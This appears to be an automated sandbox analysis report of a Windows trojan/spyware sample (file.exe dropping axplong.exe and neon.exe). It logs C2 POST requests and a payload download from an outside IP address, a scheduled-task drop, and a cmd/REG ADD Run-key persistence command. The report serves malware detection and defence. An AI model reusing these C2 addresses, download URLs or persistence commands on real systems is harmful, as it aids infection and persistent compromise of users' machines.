Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49713 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_007CBD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_007CBD60

Source: global traffic

HTTP traffic detected: GET /inc/neon.exe HTTP/1.1Host: 185.215.113.16

Source: neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: 5https://www.erdtsieck.info[https://www.youtube.com/results?search_query=/resources/jfdjhspa8klsd equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/C:in
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/S(
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/d
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php6001
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2968191138.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php;
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php?R
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpC
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpMS
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpNR
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpW
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpcoded
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdedX
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdeda
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpn
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodeda
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phps
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2968191138.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpw
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=.inig
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=l
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/neon.exe
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/neon.exeOF
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/neon.exex.php
Source: neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.a.0/sTy
Source: neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c.0/ti
Source: neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.hotosh
Source: neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adoraw-se
Source: neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.photo/
Source: neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000C.00000002.3307432645.000000000013F000.00000040.00000400.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr	String found in binary or memory: https://www.erdtsieck.info
Source: neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000C.00000002.3307432645.000000000013F000.00000040.00000400.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr	String found in binary or memory: https://www.y2mate.com/search/
Source: neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000C.00000002.3307432645.000000000013F000.00000040.00000400.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr	String found in binary or memory: https://www.youtube.com/results?search_query=/resources/jfdjhspa8klsd

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007CE440	6_2_007CE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007C4CF0	6_2_007C4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00803068	6_2_00803068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007F7D83	6_2_007F7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007C4AF0	6_2_007C4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0080765B	6_2_0080765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00802BD0	6_2_00802BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00806F09	6_2_00806F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00808720	6_2_00808720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0080777B	6_2_0080777B
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_2024C920	7_2_2024C920
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_20243A9D	7_2_20243A9D
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_20251AE5	7_2_20251AE5
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_2024CB42	7_2_2024CB42
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_202458C6	7_2_202458C6

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\neon.exe 2D0DC6216F613AC7551A7E70A798C22AEE8EB9819428B1357E2B8C73BEF905AD

Source: neon[1].exe.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: neon.exe.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Source: neon[1].exe.6.dr	Static PE information: No import functions for PE file found
Source: neon.exe.6.dr	Static PE information: No import functions for PE file found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9969878235694822
Source: file.exe	Static PE information: Section: hfllqtxz ZLIB complexity 0.994294756436624
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9969878235694822
Source: axplong.exe.0.dr	Static PE information: Section: hfllqtxz ZLIB complexity 0.994294756436624

Source: neon[1].exe.6.dr, Zz36.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: neon.exe.6.dr, Zz36.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/9@0/2

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\neon[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\neon.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe "C:\Users\user\AppData\Local\Temp\1000356001\neon.exe"
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 7
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Users\user\AppData\Local\Temp\neon.exe "C:\Users\user\AppData\Local\Temp\neon.exe"
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process created: C:\Users\user\AppData\Local\Temp\neon.exe "C:\Users\user\AppData\Local\Temp\neon.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe "C:\Users\user\AppData\Local\Temp\1000356001\neon.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Users\user\AppData\Local\Temp\neon.exe "C:\Users\user\AppData\Local\Temp\neon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 7	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process created: C:\Users\user\AppData\Local\Temp\neon.exe "C:\Users\user\AppData\Local\Temp\neon.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
